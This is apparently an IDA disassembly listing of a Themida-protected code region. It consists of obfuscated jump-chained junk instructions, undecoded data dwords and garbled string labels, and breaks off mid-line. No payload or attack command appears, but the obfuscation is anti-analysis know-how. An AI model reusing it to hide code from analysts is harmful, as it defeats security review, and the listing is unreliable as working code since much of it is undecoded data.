[esp] xor [esp], edi xor edi, [esp] pop esp push edx mov edx, esp add edx, 4 jmp loc_55E964 ; --------------------------------------------------------------------------- align 10h dd 9BC380E3h, 240C8B58h, 2804C483h, 2EB652C3h, 0D6F6CEFEh dd 39B55150h, 3059E888h, 2E958C6h, 89FFFF88h, 22E92434h dd 890000A0h, 0E389241Ch, 0E3E7E955h, 481FFFFh, 424h, 2434FF00h dd 4389685Bh, 2C890000h, 68E58924h, 7D67h, 53240489h, 0FFF22DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CA29: ; CODE XREF: Themida_:005582B2j add edx, 4 add edx, 4 xchg edx, [esp] pop esp loc_55CA36: ; CODE XREF: Themida_:0055EB71j push ebx jmp loc_5561BB ; --------------------------------------------------------------------------- loc_55CA3C: ; CODE XREF: Themida_:00558C07j push dword ptr [esp+4] jmp loc_55E2DF ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68241489h, 7060h, 51242489h, 4B9h, 244C0100h, 2434FF04h dd 0E2895259h, 4C281h, 0C2830000h, 801DE904h, 0F681FFFFh dd 0B0D5EDCh, 590B68h, 243C8900h, 1B58BB53h, 0DFE9327Fh db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA8B: ; CODE XREF: Themida_:005529FBj add ebp, 3FEE5547h pop edi jmp loc_565128 ; --------------------------------------------------------------------------- db 0ADh dd 5173BD55h, 0B85049C9h, 281F0987h, 0E958C509h, 39F3h ; --------------------------------------------------------------------------- loc_55CAAC: ; CODE XREF: Themida_:0056335Fj push edi jmp loc_5647D9 ; --------------------------------------------------------------------------- dw 0E959h dd 1F3Fh, 4BA525Eh, 1000000h, 0E9535AD6h, 6874h, 0C681E689h dd 4, 0E904C683h, 4549h ; --------------------------------------------------------------------------- loc_55CAD8: ; CODE XREF: Themida_:0055DD3Fj dec ecx push 5400h jmp loc_561332 ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:0055E1AAj xchg ebx, [esp] mov esp, [esp] mov [esp], ecx mov ch, dl jmp loc_55B82E ; --------------------------------------------------------------------------- db 55h dd 0FF6E7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CAF9: ; CODE XREF: Themida_:0055F76Ej mov ebx, 507979F8h xchg eax, ebx not eax push ebx push eax pop ebx jmp loc_55EB28 ; --------------------------------------------------------------------------- loc_55CB09: ; CODE XREF: Themida_:005619CDj shr ecx, 6 jmp loc_55D250 ; --------------------------------------------------------------------------- aLS0s db '‹<$é0™',0 db 0 ; --------------------------------------------------------------------------- loc_55CB19: ; CODE XREF: Themida_:0056211Bj mov esi, 3AC4549Bh neg esi and esi, 9675108h xor esi, 6CA7789Eh jmp loc_5606FF ; --------------------------------------------------------------------------- loc_55CB31: ; CODE XREF: Themida_:005580DBj dec ecx sub ecx, 57546286h jmp loc_567567 ; --------------------------------------------------------------------------- db 1, 0C7h, 8Bh dd 0EBE92404h, 890000A0h, 405E0h, 0B9510000h, 61373C21h dd 6849h, 2C810000h, 1F357124h, 240C2947h, 71240481h, 59471F35h dd 3C24C181h, 0C8016137h, 24048759h, 4C4835Ch, 8E77E9h dd 83C53100h, 48904ECh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_563A0F ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 29AD96D5h, 48759C8h, 1C895C24h, 0BA525624h, 2, 89D08950h dd 76E958C6h, 0C1FFFF9Ch, 10E906EDh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBBB: ; CODE XREF: Themida_:0055342Fj push ebx pop eax pop ebx jmp loc_553A5E ; --------------------------------------------------------------------------- loc_55CBC3: ; CODE XREF: Themida_:00554809j mov edi, 0B9EFBE35h push eax mov eax, 658B0C18h neg eax jmp loc_5635E9 ; --------------------------------------------------------------------------- loc_55CBD5: ; CODE XREF: Themida_:00562318j jmp loc_5527FE ; --------------------------------------------------------------------------- aXhA db 'Xh¿a',0 align 10h aIS@ db '‰,$éÇ@',0 align 4 dd 9C242CD3h, 0FF5C0DE9h, 5AD501FFh, 7075E9h, 0DEF74E00h dd 0FF8C6BE9h, 241487FFh, 1C36E95Ch, 0FF530000h, 0E95D2434h dd 1B15h, 0C2815A54h, 4, 3304C283h, 14312414h, 0AC57E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC2A: ; CODE XREF: Themida_:00560D70j mov edx, ebx mov ebx, [esp] add esp, 4 mov edi, [esp] add esp, 4 jmp loc_5677B5 ; --------------------------------------------------------------------------- loc_55CC3D: ; CODE XREF: Themida_:0055609Fj xor [esp], edx xor edx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] push 2D54h mov [esp], ebp push 3130h mov [esp], esi mov esi, 1 mov ebp, esi pop esi push ebp push eax mov eax, 1E076A24h sub eax, 0C86DF9CFh dec eax jmp loc_55B479 ; --------------------------------------------------------------------------- db 66h dd 3166D631h, 0B1E4E9F2h, 248BFFFFh, 8A32E924h, 2C890000h dd 81E58924h, 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFF5B5Ah dd 0E956FB01h, 0FFFF7122h, 5324248Bh, 8C6BD55h, 0EB895942h dd 42BA525Dh, 0E9490731h, 0FFFFD223h, 9668E689h, 89000053h dd 0FBE92404h, 9000007h, 9DE95BD8h, 0BBFFFFF4h, 6FFA2B98h dd 8EE9D889h, 5EFFFFD9h, 4C181h, 0C330000h, 240C3124h dd 0E9240C33h, 0FFFFEB57h, 4EC81h, 1C890000h, 2E636824h dd 14890000h, 0E9E28924h, 3EB7h ; --------------------------------------------------------------------------- loc_55CD14: ; CODE XREF: Themida_:00559C80j push ecx mov ecx, 4A7B7970h sub edi, ecx pop ecx sub edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_566EEE ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 0D71DE924h dd 0BF68FFFFh, 5400002Dh, 0E924048Fh, 7C8Eh, 0D4F6FC88h dd 5866E788h, 0FF8DBFE9h, 1C2868FFh, 0D0E90000h, 81000088h dd 4C4h, 53D82900h, 6CE8B951h, 82BB7BD3h, 299211B3h, 3C46E9CBh dd 1F680000h, 89000060h, 78E92414h, 570000ACh, 947F0268h dd 0F367E912h, 0F101FFFFh, 9425E9h db 0 ; --------------------------------------------------------------------------- loc_55CDC1: ; CODE XREF: Themida_:00564106j push ecx mov ch, dl push ebx mov bh, ch jmp loc_566127 ; --------------------------------------------------------------------------- dd 4C681h, 0C6E90000h, 8000002Dh, 536603C6h, 4A73E9h db 0 ; --------------------------------------------------------------------------- loc_55CDE1: ; CODE XREF: Themida_:005608F9j xchg esi, [esp] mov esp, [esp] mov [esp], ecx sub esp, 4 mov [esp], edx push ebx jmp loc_55406B ; --------------------------------------------------------------------------- dw 5A5Bh dd 2E1EBD55h, 0E5C17C30h, 3C95E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE06: ; CODE XREF: Themida_:0056393Aj xor [esp], ax pushf jmp loc_5527FE ; --------------------------------------------------------------------------- dd 0FF59E9E9h, 1BF57FFh, 89000000h, 4FE95FF9h, 66FFFFDCh dd 57240C8Bh, 55505F54h, 0AB138768h, 0EC835D4Dh, 240C8904h dd 505BE956h, 0E3890000h, 46851h, 1590000h, 493BE9CBh dd 2C890000h, 83E58924h, 48904ECh, 4B824h, 0C5010000h dd 6824048Bh, 6CABh, 89240489h, 405E0h, 33E90000h, 56FFFFA1h dd 0C681E689h, 4, 1D9CE9h, 4EC8300h, 936AE9h, 241C8B00h dd 0FF9E05E9h, 4FE2CFFh, 0A9B353AEh, 8052EB80h, 0F380E4EBh dd 548BE9E6h, 0C3810000h, 4, 8B241C87h, 24D32424h, 5940E924h dd 0F653FFFFh, 5B012454h, 0EF80C7FEh, 0B266E9E5h, 5F21FFFFh dd 241C8B1Ch, 0A13EE9h db 0 ; --------------------------------------------------------------------------- loc_55CED9: ; CODE XREF: Themida_:005546EEj shr ebp, 4 push ecx jmp loc_555ED1 ; --------------------------------------------------------------------------- dw 0D701h dd 53C6815Ah, 1076045h, 53EE81FEh, 8B076045h, 0D7E9243Ch dd 5500001Bh, 83240C8Bh, 0A7E904C4h, 5FFFF8Eh, 6AE3745Eh dd 83240C8Bh, 0C70104C4h, 2C78158h, 87000000h, 248B243Ch dd 2404D224h, 0A077E99Ch, 0E9550000h, 0AD0Ch, 28512C59h dd 0E95104D0h, 0FFFFF94Ah ; --------------------------------------------------------------------------- loc_55CF3C: ; CODE XREF: Themida_:0055C1B9j add ebp, 4 push edi mov edi, 4 jmp loc_55670C ; --------------------------------------------------------------------------- aXhbf db 'XhBf',0 dw 8900h dd 0E2892414h, 4C281h, 0EA810000h, 4, 564DE9h db 0 ; --------------------------------------------------------------------------- loc_55CF69: ; CODE XREF: Themida_:005537ADj sub ecx, edi jmp loc_560E43 ; --------------------------------------------------------------------------- loc_55CF70: ; CODE XREF: Themida_:0055E918j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_56154E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55424A ; --------------------------------------------------------------------------- loc_55CF9A: ; CODE XREF: Themida_:00553D90j pop esi not ecx xor ecx, 4688FB76h add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55F108 ; --------------------------------------------------------------------------- db 0B9h, 2 dup(0FFh) dd 0CF01FFFFh, 5E95259h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CFC3: ; CODE XREF: Themida_:0055DCC8j sub ebp, 7DEF25CCh jmp loc_5564DD ; --------------------------------------------------------------------------- dw 3433h dd 42DE924h, 0F3280000h, 2F00E95Ah, 0E6890000h, 4C681h dd 0EE830000h, 0F40AE904h, 0C483FFFFh, 24048F04h, 0FFCCF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFF9: ; CODE XREF: Themida_:00566839j add esp, 4 add esi, 17072BDFh jmp loc_555A48 ; --------------------------------------------------------------------------- db 31h dd 0EE315EF5h, 0E9242C8Bh, 0FFFFA419h ; --------------------------------------------------------------------------- loc_55D014: ; CODE XREF: Themida_:0055D634j add esp, 4 mov ebp, esi pop esi push eax mov eax, 19554B68h jmp loc_562118 ; --------------------------------------------------------------------------- loc_55D025: ; CODE XREF: Themida_:0055BED1j and edi, 0DC634A0h push edx mov edx, 7E4B50A3h sub edx, 8A91851Fh add edi, edx jmp loc_5606D2 ; --------------------------------------------------------------------------- loc_55D03E: ; CODE XREF: Themida_:00563457j add bl, 25h jmp loc_564859 ; --------------------------------------------------------------------------- dw 5551h dd 0F42D9968h, 4BE95D6Bh db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D053: ; CODE XREF: Themida_:0055D55Cj add esi, 4 sub esi, 4 jmp loc_55E997 ; --------------------------------------------------------------------------- aKPs9v db '½#K',9,'pé9‚',0 dw 5000h dd 5729FCB8h, 0AACE963h, 805A0000h, 34FF24EFh, 24048B24h dd 0E904C483h, 0FFFFBFBFh, 5FD4BB53h, 0D3F769ADh, 5AC38143h dd 50343508h, 0EA9430B8h, 58C301B4h, 0FF5D13E9h, 4EC81FFh dd 89000000h, 9AB3241Ch, 0E94ECB80h, 0FFFFBF54h, 9D1C77FFh dd 1CD25966h, 37E99C24h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D0C7: ; CODE XREF: Themida_:0055C055j pop ebp sub ecx, 4 xchg ecx, [esp] jmp loc_55308D ; --------------------------------------------------------------------------- db 5 dd 376E071Ch, 1C2DF801h, 5F376E07h, 6D84E9h db 0 ; --------------------------------------------------------------------------- loc_55D0E5: ; CODE XREF: Themida_:00553D7Dj push 40D23CE6h pop edi push 4C9Eh mov [esp], edx jmp loc_5621CD ; --------------------------------------------------------------------------- dd 0E68FE950h, 0E089FFFFh, 405h, 4BD5500h, 1000000h, 4875DE8h dd 0A6685C24h, 89000079h, 0E6892434h, 4EC81h, 69E90000h dd 1FFFFF0h, 20C381FBh, 8B35B22Fh, 0C481243Ch, 4, 0FFB9D5E9h dd 57C981FFh, 87203A6Fh, 31DEF7F1h, 31CE31F1h, 4956E9F1h dd 53AD0000h, 4EC81h, 0EE90000h, 0C10000A3h, 0D7E903E1h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D167: ; CODE XREF: Themida_:005618C9j add esp, 4 push ax push edx mov dl, 0A5h push eax mov ah, 0B3h xor dl, ah pop eax shr dl, 8 xor dl, 45h add dl, 0A0h sub dl, 0A7h mov al, dl pop edx sub bl, al pop ax add bl, cl add bl, 3Eh pop ecx sub bl, 0Eh jmp loc_554524 ; --------------------------------------------------------------------------- dw 1487h dd 0BA525C24h, 4, 505AD701h, 2B8h, 58C70100h, 8B243C87h dd 8B662424h, 0F6E92414h, 8BFFFFA5h, 0C4812404h, 4, 4245401h dd 0FF7A88E9h, 20EC80FFh, 0E958E200h, 9D88h ; --------------------------------------------------------------------------- loc_55D1D8: ; CODE XREF: Themida_:005672C6j push ebp push 554718BAh pop ebp xor ebp, 79056C04h sub edi, ebp mov ebp, [esp] add esp, 4 sub edi, 74F534BAh add edi, 34715F03h add edi, esi jmp loc_560C6D ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24343300h, 33243431h, 0E95C2434h, 0FFFF55E6h dd 0E924348Bh, 0A51Eh, 0E92434FFh, 0AA34h, 4C181h, 0DAE90000h dd 29FFFFE3h, 0E908246Ch, 0FFFF80E3h, 0CE89F989h, 50240C8Bh dd 4055854h, 0E9000000h, 0FFFF614Dh ; --------------------------------------------------------------------------- loc_55D250: ; CODE XREF: Themida_:0055CB0Cj xor ecx, 40233EDCh jmp loc_55799F ; --------------------------------------------------------------------------- loc_55D25B: ; CODE XREF: Themida_:0055D396j mov esi, [esp] jmp loc_556A78 ; --------------------------------------------------------------------------- loc_55D263: ; CODE XREF: Themida_:00567C29j add bh, 0 sub al, 0F8h jmp loc_557D72 ; --------------------------------------------------------------------------- db 57h, 0BFh, 12h dd 311E2F53h, 0AEE5E9FBh, 0F740FFFFh, 571035D0h, 5E255218h dd 0F725036Ch, 8FE92DD0h, 0C6317921h, 0B1F68158h, 89A054D0h dd 8C0CE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D29E: ; CODE XREF: Themida_:00559753j push dword ptr [esp] pop ebp add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push 32C4h mov [esp], esi pop dword ptr [edi+24h] mov esi, [esp] push esi mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp inc esi push dword ptr [edi+24h] push 70E1h jmp loc_558F31 ; --------------------------------------------------------------------------- align 4 dd 8B5966C8h, 41682414h, 89000047h, 0E2892414h, 4C281h dd 0C2830000h, 24148704h, 0E9D8005Ch, 54B7h, 7D326850h dd 2D585AADh, 2AE20B64h, 5007E0C1h, 0F7243C87h, 243C87D7h dd 42413558h, 0B6E966FAh db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D323: ; CODE XREF: Themida_:00554F50j add bl, cl jmp loc_553AA9 ; --------------------------------------------------------------------------- dw 4F68h dd 8900002Ch, 4832424h, 348B0424h, 4C48124h, 50000000h dd 4B8h, 0ECC68100h, 11CF45Bh, 0ECEE81C6h, 581CF45Bh, 0A8BB5357h dd 5056E477h, 3659E9h, 0EEC38100h, 157D418h, 2E0E9C3h dd 5B540000h, 0FF995EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D375: ; CODE XREF: Themida_:00564D8Cj add esp, 4 xor ecx, eax mov eax, [esp] push 62CDh jmp loc_5536FA ; --------------------------------------------------------------------------- loc_55D38A: ; CODE XREF: Themida_:0055D4B0j sub [esp+4], esi sub dword ptr [esp+4], 26E30EBDh jmp loc_55D25B ; --------------------------------------------------------------------------- aK_0 db '³K²»',0 dd 0F2805BDAh, 80C2FE7Fh, 0F28031E2h, 23EA8041h, 0E95AD588h dd 0FFFFBBC5h, 4C481h, 3AE90000h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3C3: ; CODE XREF: Themida_:0055E52Ej xor eax, 22B35BC3h push 655Dh mov [esp], edx mov edx, 4C5F1FFCh sub edx, 4C5F1FFBh sub eax, edx jmp loc_55F3CF ; --------------------------------------------------------------------------- dw 0B850h dd 11696066h, 6C97E9h db 0 ; --------------------------------------------------------------------------- loc_55D3ED: ; CODE XREF: Themida_:0055A44Dj add ebx, edx pop edx and ecx, ebx mov ebx, [esp] push eax mov eax, esp push ebp mov ebp, 4 jmp loc_5600D1 ; --------------------------------------------------------------------------- db 31h dd 34332434h, 3CD35C24h, 0EBE99C24h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D413: ; CODE XREF: Themida_:0055EB79j push esp pop eax push esi jmp loc_5571C5 ; --------------------------------------------------------------------------- loc_55D41B: ; CODE XREF: Themida_:0056633Cj push dword ptr [esp] pop ebp jmp loc_55318E ; --------------------------------------------------------------------------- loc_55D424: ; CODE XREF: Themida_:00552B5Bj xor edx, esi xor esi, edx push 51E4h jmp loc_5605F7 ; --------------------------------------------------------------------------- dw 0EB80h dd 80C328E1h, 0EB80E1C3h, 0C0B60FA9h, 0FFABB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D445: ; CODE XREF: Themida_:00560D9Ej neg eax push ebp jmp loc_5583E3 ; --------------------------------------------------------------------------- aIS db '‰Ú[é»`',0 db 0 ; --------------------------------------------------------------------------- loc_55D455: ; CODE XREF: Themida_:00553CB0j mov [esp], ebx push ebp mov ebp, 14520EFAh mov ebx, 3A39240Ah xor ebx, ebp pop ebp push ebp jmp loc_5546F3 ; --------------------------------------------------------------------------- dd 1125E381h, 0C38154E5h, 0F4361983h, 495BD931h, 0FFFFE981h dd 0E949FFFFh, 6C96h ; --------------------------------------------------------------------------- loc_55D488: ; CODE XREF: Themida_:00560B7Ej xchg edi, [esp] pop ebp push ecx mov ecx, 638E0EF0h sub ecx, 4DF39551h sub ebp, ecx pop ecx push 171Dh mov [esp], edi jmp loc_562D76 ; --------------------------------------------------------------------------- loc_55D4A8: ; CODE XREF: Themida_:0055A866j add dword ptr [esp+4], 26E30EBDh jmp loc_55D38A ; --------------------------------------------------------------------------- db 1, 0F9h, 0E9h dd 0FFFF6148h, 4EC81h, 14890000h, 34FF5424h, 7070E924h dd 0BB53FFFFh, 740C266Fh, 0FF61E6E9h, 6CE981FFh, 0E933040Ah dd 0FFFF8C9Fh ; --------------------------------------------------------------------------- loc_55D4E4: ; CODE XREF: Themida_:005635E4j add eax, 4 sub esp, 4 mov [esp], esi push edx mov edx, 6BBC116Ch sub esp, 4 mov [esp], edi jmp loc_5630CC ; --------------------------------------------------------------------------- dd 241CF751h, 81240C8Bh, 4C4h, 31CF3100h, 51CF31F9h, 669481B9h dd 59CF0130h, 34FFFE01h, 0C4835F24h, 0A2D3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D52A: ; CODE XREF: Themida_:00564CCFj add edx, esi mov esi, [esp] jmp loc_555157 ; --------------------------------------------------------------------------- loc_55D534: ; CODE XREF: Themida_:0055F57Cj xor eax, 5B73F430h sub edx, eax pop eax sub ebx, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, ebx push esi mov esi, esp jmp loc_55D053 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0CEh dd 2128583Ch, 240C8BCDh, 8706E9h, 2B976800h, 4890000h dd 59C06824h, 24890000h, 24048324h, 24048B04h, 7F65E9h db 0 ; --------------------------------------------------------------------------- loc_55D58D: ; CODE XREF: Themida_:0055DCBEj mov esi, 0FFFFFFFFh mov eax, esi push dword ptr [esp] pop esi jmp loc_56228F ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 8704E883h, 0E95C2404h, 21Dh, 56243C8Bh, 7FE9E689h dd 81FFFF8Fh, 4C4h, 4C48300h, 0A591E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5CA: ; CODE XREF: Themida_:0055E750j sub edi, esi pop esi add esi, edi mov edi, [esp] add esp, 4 push 4221h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_55C153 ; --------------------------------------------------------------------------- dd 4C1835Eh, 32B2E9h, 1F836800h, 2C890000h, 2474FF24h dd 48F5D04h, 24248B24h, 9C2424D3h, 0FF51DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D621: ; CODE XREF: Themida_:005671AFj shl eax, 3 add eax, 1 dec eax xor eax, 0CA7CB61Eh add esi, eax mov eax, [esp] jmp loc_55D014 ; --------------------------------------------------------------------------- loc_55D639: ; CODE XREF: Themida_:005630CEj mov esi, edi jmp loc_556433 ; --------------------------------------------------------------------------- dd 0E9241489h, 79E7h, 5F27E95Eh, 0EB810000h, 57D418EEh dd 5F7968h, 0CD6CE900h, 0A1BAFFFFh, 2941DC9Bh, 0D0315BDAh dd 0E9C2015Ah, 1743h, 0B0506CB3h, 0E9E52410h, 0FFFF8368h ; --------------------------------------------------------------------------- loc_55D67C: ; CODE XREF: Themida_:0056253Cj xchg ebp, [esp] pop esp push ecx mov ch, 0Bh neg ch neg ch and ch, 0B2h sub esp, 4 jmp loc_5643A6 ; --------------------------------------------------------------------------- loc_55D692: ; CODE XREF: Themida_:00561981j mov edi, 542F551Eh jmp loc_553CC5 ; --------------------------------------------------------------------------- loc_55D69C: ; CODE XREF: Themida_:0055E9AEj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push dword ptr [esp] push dword ptr [esp] jmp loc_557398 ; --------------------------------------------------------------------------- db 80h, 0C2h, 66h dd 0E97DEA80h, 5C02h ; --------------------------------------------------------------------------- loc_55D6BC: ; CODE XREF: Themida_:005614E4j mov [esp], edi mov edi, 368D0C1Dh push edx mov edx, 7E914CB4h and edi, edx pop edx jmp loc_55F30D ; --------------------------------------------------------------------------- dw 0D189h dd 0E959CD89h, 0FFFF9C84h ; --------------------------------------------------------------------------- loc_55D6DC: ; CODE XREF: Themida_:0055E118j add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5527FE ; --------------------------------------------------------------------------- loc_55D6FA: ; CODE XREF: Themida_:00560BC6j push eax push 4 jmp loc_5582EB ; --------------------------------------------------------------------------- loc_55D705: ; CODE XREF: Themida_:0055F3A9j pop ebp push edi mov edi, 38667A36h sub dword ptr [esp+8], 52EA72B1h add [esp+8], edi add dword ptr [esp+8], 52EA72B1h jmp loc_5552DB ; --------------------------------------------------------------------------- db 88h, 0EBh, 88h dd 30595BD8h, 2434FFF0h, 8324148Bh, 0C48104C4h, 4, 0C3885352h dd 1C8BDA88h, 4C48124h, 51000000h, 0CF88D188h, 83E95A59h dd 89000057h, 4C281E2h, 0E9000000h, 0FFFFE0F5h, 4C35C305h dd 0E9D0F7E2h, 0FFFFD6AAh, 81240C8Bh, 4C4h, 243C8B00h dd 0E9E28952h, 5E72h ; --------------------------------------------------------------------------- loc_55D784: ; CODE XREF: Themida_:0055EBE1j mov [esp], ebx sub esp, 4 mov [esp], ecx push 5CEh mov [esp], eax push ebx mov ebx, 5E2D31B2h and ebx, 194923A6h or ebx, 5385036Eh not ebx sub ebx, 64F6AEC9h mov eax, ebx jmp loc_556FFD ; --------------------------------------------------------------------------- loc_55D7B6: ; CODE XREF: Themida_:0055C15Ej sub ebx, 715C2907h add ebx, esi add ebx, 715C2907h pop esi xor ebx, [esp] jmp loc_561CF5 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 42474FFh, 0FF2434FFh, 4E92434h, 0F6000095h, 0E99C241Ch dd 0FFFF5016h ; --------------------------------------------------------------------------- loc_55D7E8: ; CODE XREF: Themida_:005546F8j add ebx, ebp pop ebp jmp loc_55A80F ; --------------------------------------------------------------------------- dd 5C241C33h, 51241489h, 54B267B5h, 38E9EA28h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D803: ; CODE XREF: Themida_:0055E4B5j push edi push 3EAE17D6h pop edi xor edi, 281238B8h mov ecx, edi pop edi sub esp, 4 mov [esp], ebp push 28FE5A77h pop ebp sub ebp, 1E0C4CAFh sub ebp, 0F435DE5Eh xor ecx, ebp pop ebp jmp loc_55AE0F ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 0E904EC83h, 471Ch, 6852E089h, 513Ch, 25ABE9h db 0 ; --------------------------------------------------------------------------- loc_55D851: ; CODE XREF: Themida_:0055A12Fj sub esp, 2 mov [esp], dx mov dl, 0FDh jmp loc_55F5A1 ; --------------------------------------------------------------------------- loc_55D85F: ; CODE XREF: Themida_:0056567Cj xor edi, 280F73B2h push ebx push ebp push 6D5F5AFCh mov ebp, [esp] jmp loc_556654 ; --------------------------------------------------------------------------- dd 0D2ED815Dh, 179222Ah, 0D2C581F5h, 5E79222Ah, 8B242C87h dd 89512424h, 4EC81F9h, 89000000h, 81512404h, 6722434h dd 48B5BD6h, 824AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8A6: ; CODE XREF: Themida_:005545C4j pop ecx shr eax, 6 jmp loc_55907D ; --------------------------------------------------------------------------- db 81h dd 971F8FF7h, 0AA69E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8BA: ; CODE XREF: Themida_:00564C50j push ebp mov ebp, 4 jmp loc_55F18B ; --------------------------------------------------------------------------- loc_55D8C5: ; CODE XREF: Themida_:0055BBD4j xor edx, 58EE1866h sub edx, 486D09D5h add edx, 3944E4CFh sub ebp, 11C6207Eh add ebp, edx push eax mov eax, 217375F3h sub eax, 0FAD5575h add ebp, eax pop eax jmp loc_5626E9 ; --------------------------------------------------------------------------- dw 8358h dd 0F20104C4h, 0FF9BDEE9h, 0D9F741FFh, 60AA68h, 0B0A7E900h dd 4BFFFFFh, 81000000h, 75D67E9h, 0E9F90178h, 0FFFFD675h ; --------------------------------------------------------------------------- loc_55D91C: ; CODE XREF: Themida_:0055C4B8j sub ebx, 2A795FAAh shr ebx, 4 add ebx, 679269DAh xor ebx, 7525556Ch jmp loc_554766 ; --------------------------------------------------------------------------- loc_55D936: ; CODE XREF: Themida_:00563B36j push eax sub esp, 4 jmp loc_560EAF ; --------------------------------------------------------------------------- db 89h dd 4B82404h, 29000000h, 1C3358C3h, 241C3124h, 0FFFE9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D955: ; CODE XREF: Themida_:00556A1Dj xor esi, [esp] pop esp add bl, dh pop edx add bl, al sub bl, 1Ah movzx eax, al push dword ptr [edi+eax*4] jmp loc_55F581 ; --------------------------------------------------------------------------- dd 24343166h, 24343366h, 24343166h, 66D63166h, 3166F231h dd 286866D6h, 14896618h, 5DECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D98E: ; CODE XREF: Themida_:00556865j mov ecx, [esp] jmp loc_559F8E ; --------------------------------------------------------------------------- aB0hkysa db '÷0HKYéA&',0 align 2 loc_55D9A2: ; CODE XREF: Themida_:0055574Bj pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_55C4D9 ; --------------------------------------------------------------------------- db 0F7h dd 0E9D7F7D7h, 0FFFF78D5h, 148BD389h, 4C48124h, 0C1000000h dd 0F38107E3h, 456B0F54h, 16CCEE81h, 0DE011882h, 16CCC681h dd 1C8B1882h, 1691E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D9EA: ; CODE XREF: Themida_:0055AC4Fj add si, 124Eh shl si, 2 xor si, 89B4h push 56C4h mov [esp], eax push si add word ptr [esp], 112Ah pop ax sub ax, 112Ah mov bx, ax pop eax push dword ptr [esp] pop esi sub esp, 4 mov [esp], esi mov esi, esp jmp loc_553EBC ; --------------------------------------------------------------------------- loc_55DA23: ; CODE XREF: Themida_:0055672Cj add al, 20h mov dh, al pop eax xor dh, 25h jmp loc_567153 ; --------------------------------------------------------------------------- dd 4C481h, 75680000h, 8900000Bh, 74FF240Ch, 8F590424h dd 665C2404h, 0E9240489h, 0FFFF4DAEh ; --------------------------------------------------------------------------- loc_55DA50: ; CODE XREF: Themida_:00555EDCj add ecx, 0E41DFDCEh jmp loc_566DA2 ; --------------------------------------------------------------------------- loc_55DA5B: ; CODE XREF: Themida_:0055EF65j mov [esp], ebx mov ebx, 0 add ebx, edx xor [ebx], eax jmp loc_555B2A ; --------------------------------------------------------------------------- loc_55DA6C: ; CODE XREF: Themida_:00557FC1j xor eax, ebp sub esp, 4 mov [esp], eax mov eax, esp push 7508h jmp loc_565854 ; --------------------------------------------------------------------------- db 0FFh a4S db '4$é[>',0 db 0 ; --------------------------------------------------------------------------- loc_55DA8B: ; CODE XREF: Themida_:0055F895j mov edi, [esp] jmp loc_55BA1F ; --------------------------------------------------------------------------- aSBs db 'Áé',7,'éÛìš',0 dd 26F7E9h, 240C8900h, 0FFE52BE9h, 500E68FFh, 14890000h dd 4EC8324h, 68240C89h, 3B05h, 52241C89h, 0E28062B2h, 6DC28006h dd 148BD788h, 4C48124h, 50000000h, 0FF70A2E9h, 0E95854FFh dd 65EEh, 92FBE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DAE6: ; CODE XREF: Themida_:0056728Cj add ebx, ecx jmp loc_565A2C ; --------------------------------------------------------------------------- db 0B9h, 82h, 73h dd 